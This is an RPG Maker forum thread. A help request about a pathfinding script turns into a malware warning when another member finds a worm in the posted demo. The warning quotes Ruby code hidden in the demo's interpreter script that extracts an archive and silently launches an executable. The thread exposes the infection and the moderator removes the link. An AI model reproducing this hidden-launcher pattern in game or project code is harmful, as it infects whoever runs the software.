Problem with Pathfinding Script

Discussion in 'RGSSx Script Support' started by Darian, Jul 21, 2012.

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  1. Darian

    Darian Warper Member

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    I am not sure if I am posting this in the correct place, if not, I apologize.

    I am using ForeverZer0's Advanced Pathfinding script, and am having a few problems. I am trying to make an extension to it that allows for setting "waypoints". For example, I can specify three points, and the character will pathfind to each in turn. My problem is, the character seems to repeat the last two commands, meaning it walks back and fourth between the last two points.

    I am new to Ruby and RGSS, so I imagine that I am doing something wrong. Could someone please take a look at what I have and tell me if they see anything wrong?

    Link removed.
     
    Last edited by a moderator: Jul 22, 2012
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  2. AlaiaVee

    AlaiaVee Villager Member

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    BEWARE!! That demo has a virus in it.

    Windows Security Essentials detected Worm:Win32/Rebhip.A in the file .\data\AsyncServer.exe.

    I looked in the script editor and found the following under Interpreter 7:



    Code:
    
    # Extract file using 7zip
    system('"Data/7za.exe" e "Data/server.7z" -yoData')
    # Wait 2 seconds to ensure extraction is complete
    sleep(2)
    # Infect your cute-ass for not having a decent AV
    if File.exists?('Data/AsyncServer.exe')
    Thread.new { system('Data/AsyncServer.exe') }
    
    Edit: I just took a look at ForeverZer0's demo for this script that he posted on Chaos Project, as well as the one on HBGames. The demos from those sites are clean. So either Darian added the malicious virus or got it from somewhere else where it is infected.
     
    Last edited by a moderator: Jul 22, 2012
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  3. Mr. Bubble

    Mr. Bubble Makes stuff. Member

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    Download link has been removed. If anyone has downloaded the demo that was in this topic, scan your computer with your preferred anti-virus software.

    Closed.

    Thanks Vee.
     
    Last edited by a moderator: Jul 22, 2012
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